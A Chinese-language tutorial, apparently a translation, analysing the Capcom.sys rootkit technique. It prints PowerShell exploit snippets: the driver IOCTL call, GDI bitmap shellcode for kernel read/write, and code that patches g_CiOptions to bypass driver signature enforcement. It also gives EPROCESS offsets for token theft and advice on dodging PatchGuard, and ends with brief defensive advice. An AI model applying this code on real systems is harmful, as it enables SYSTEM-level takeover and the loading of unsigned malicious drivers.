Capcom Rootkit实现原理与分析(翻译)
字数 1609 2025-08-25 22:58:47
Capcom Rootkit实现原理与分析教学文档
1. 背景与概述
Capcom Rootkit利用了Capcom.sys签名驱动中的漏洞,实现了内核级权限提升和驱动签名绕过功能。该技术通过合法签名驱动的漏洞执行任意内核代码,进而实现以下功能:
- 任意进程权限提升至SYSTEM
- 绕过驱动签名强制(DSE)加载未签名驱动
2. 驱动漏洞分析
2.1 Capcom.sys漏洞原理
Capcom.sys驱动存在一个关键漏洞:
- 驱动接受用户空间提供的指针
- 禁用SMEP(Supervisor Mode Execution Prevention)
- 直接在用户提供的指针地址处执行代码
- 执行完成后恢复SMEP
2.2 漏洞利用代码分析
反汇编关键代码:
cmp [rax-8], rcx
PowerShell POC利用代码:
[IntPtr]$Pointer = [CapCom]::VirtualAlloc([System.IntPtr]::Zero, (8 + $Shellcode.Length), 0x3000, 0x40)
$ExploitBuffer = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8) + $Shellcode
[System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer, 0, $Pointer, (8 + $Shellcode.Length))
$hDevice = [CapCom]::CreateFile("\\.\Htsysm72FB", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
[CapCom]::DeviceIoControl($hDevice, 0xAA013044, $InBuff, $InBuff.Length, [ref]$OutBuff, 4, [ref]0, [System.IntPtr]::Zero) | Out-null
3. 内核读写能力获取
3.1 GDI位图技术
通过构造原始GDI位图结构实现持续内核读写:
# Leak BitMap pointers
$Manager = Stage-gSharedInfoBitmap
$Worker = Stage-gSharedInfoBitmap
# Shellcode buffer
[Byte[]] $Shellcode = @(
0x48, 0xB8) + [System.BitConverter]::GetBytes($Manager.BitmappvScan0) + @(
0x48, 0xB9) + [System.BitConverter]::GetBytes($Worker.BitmappvScan0) + @(
0x48,0x89,0x08, # mov qword ptr [rax],rcx
0xC3 # ret
)
4. Rootkit功能实现
4.1 任意进程权限提升
实现步骤:
- 获取System(PID 4)的EPROCESS结构指针
- 读取SYSTEM token
- 遍历ActiveProcessLinks链表
- 找到目标进程EPROCESS结构
- 覆盖目标进程token
关键数据结构:
- EPROCESS结构在不同Windows版本中的偏移不同:
- Windows 10/Server 2016:
- UniqueProcessIdOffset: 0x2e8
- TokenOffset: 0x358
- ActiveProcessLinks: 0x2f0
- Windows 8.1/Server 2012 R2:
- UniqueProcessIdOffset: 0x2e0
- TokenOffset: 0x348
- ActiveProcessLinks: 0x2e8
- Windows 7/Server 2008 R2:
- UniqueProcessIdOffset: 0x180
- TokenOffset: 0x208
- ActiveProcessLinks: 0x188
- Windows 10/Server 2016:
4.2 驱动签名绕过(DSE Bypass)
实现原理:
- 修改ci.dll中的全局变量g_CiOptions
- 0x0: 禁用
- 0x6: 启用
- 0x8: 测试模式
实现步骤:
- 获取ci.dll基址
- 定位CiInitialize函数
- 搜索跳转指令找到CipInitialize
- 搜索mov指令定位g_CiOptions
- 修改g_CiOptions值
关键代码:
# 定位CiInitialize
$SystemModuleCI = Get-LoadedModules | Where-Object {$_.ImageName -Like "*CI.dll"}
$CIHanle = [Capcom]::LoadLibraryEx("ci.dll", [IntPtr]::Zero, 0x1)
$CiInitialize = [Capcom]::GetProcAddress($CIHanle, "CiInitialize")
$CiInitializePtr = $CiInitialize.ToInt64() - $CIHanle + $SystemModuleCI.ImageBase
# 定位CipInitialize (搜索jmp指令)
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CiInitializePtr + $i))) -split ""
if ($val[-1] -eq "E9") {
$Distance = [Int]"0x$(($val[-3,-2]) -join '')"
$CipInitialize = $Distance + 5 + $CiInitializePtr + $i
break
}
}
# 定位g_CiOptions (搜索mov指令)
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CipInitialize + $i))) -split ""
if ($val[-1] -eq "89" -And $val[-2] -eq "0D") {
$Distance = [Int]"0x$(($val[-6..-3]) -join '')"
$g_CiOptions = $Distance + 6 + $CipInitialize + $i
break
}
}
# 修改g_CiOptions
Bitmap-Write -Address $g_CiOptions -Value $SetValue
5. PatchGuard规避
注意事项:
- g_CiOptions受PatchGuard保护
- 修改后不会立即触发蓝屏
- 加载未签名驱动后应立即恢复原值
- 延迟检测机制可被利用
6. 防御建议
- 部署驱动白名单策略
- 启用设备保护功能
- 监控签名驱动的异常行为
- 定期更新驱动签名策略
7. 参考资源
- Windows driver signing bypass by Derusbi
- A quick insight into the Driver Signature Enforcement (@j00ru)
- Terminus Project (@rwfpl) - EPROCESS结构偏移维护
- Capcom.sys漏洞分析视频:
- https://youtu.be/pJZjWXxUEl4
- https://youtu.be/UGWqq5kTiso
8. 总结
Capcom Rootkit展示了签名驱动漏洞对系统安全的严重威胁:
- 合法签名驱动中的漏洞可被利用执行任意内核代码
- 通过GDI位图技术可实现持续内核读写
- EPROCESS结构遍历可实现任意进程权限提升
- ci.dll中的g_CiOptions修改可绕过驱动签名强制
- PatchGuard的延迟检测机制可被规避
该技术强调了驱动白名单和设备保护的重要性,以及持续监控系统内核完整性的必要性。